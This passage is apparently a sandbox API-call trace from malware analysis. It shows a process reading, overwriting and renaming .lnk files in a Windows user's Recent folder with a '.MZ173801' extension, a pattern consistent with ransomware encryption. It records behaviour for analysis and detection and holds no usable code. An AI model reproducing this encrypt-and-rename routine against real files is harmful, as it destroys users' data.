OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dw5RNx3tyh2O9iG.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dw5rnx3tyh2o9ig.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.125] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.125] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.125] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xec1 [0121.126] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.126] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xec1, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xec1, lpOverlapped=0x0) returned 1 [0121.127] CloseHandle (hObject=0x288) returned 1 [0121.127] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dw5RNx3tyh2O9iG.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dw5rnx3tyh2o9ig.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.128] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xec1, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xec1, lpOverlapped=0x0) returned 1 [0121.129] CloseHandle (hObject=0x288) returned 1 [0121.130] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dw5RNx3tyh2O9iG.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dw5rnx3tyh2o9ig.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Dw5RNx3tyh2O9iG.mkv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dw5rnx3tyh2o9ig.mkv.lnk.mz173801")) returned 1 [0121.132] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefb7e80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdefb7e80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdefb7e80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1439, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="dxtxj-CI.lnk", cAlternateFileName="")) returned 1 [0121.132] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.132] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.132] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dxtxj-CI.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dxtxj-ci.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefb7e80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdefb7e80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdefb7e80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1439)) returned 1 [0121.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dxtxj-CI.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dxtxj-ci.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.136] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.136] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.136] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1439 [0121.136] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.136] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1439, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1439, lpOverlapped=0x0) returned 1 [0121.137] CloseHandle (hObject=0x288) returned 1 [0121.137] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dxtxj-CI.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dxtxj-ci.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.138] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1439, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1439, lpOverlapped=0x0) returned 1 [0121.140] CloseHandle (hObject=0x288) returned 1 [0121.153] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dxtxj-CI.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dxtxj-ci.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dxtxj-CI.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dxtxj-ci.lnk.mz173801")) returned 1 [0121.154] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeda2b40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeda2b40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdeda2b40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x144e, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="efOXL6YxYxJb0.lnk", cAlternateFileName="EFOXL6~1.LNK")) returned 1 [0121.154] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.155] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.155] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\efOXL6YxYxJb0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\efoxl6yxyxjb0.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeda2b40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeda2b40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdeda2b40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x144e)) returned 1 [0121.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2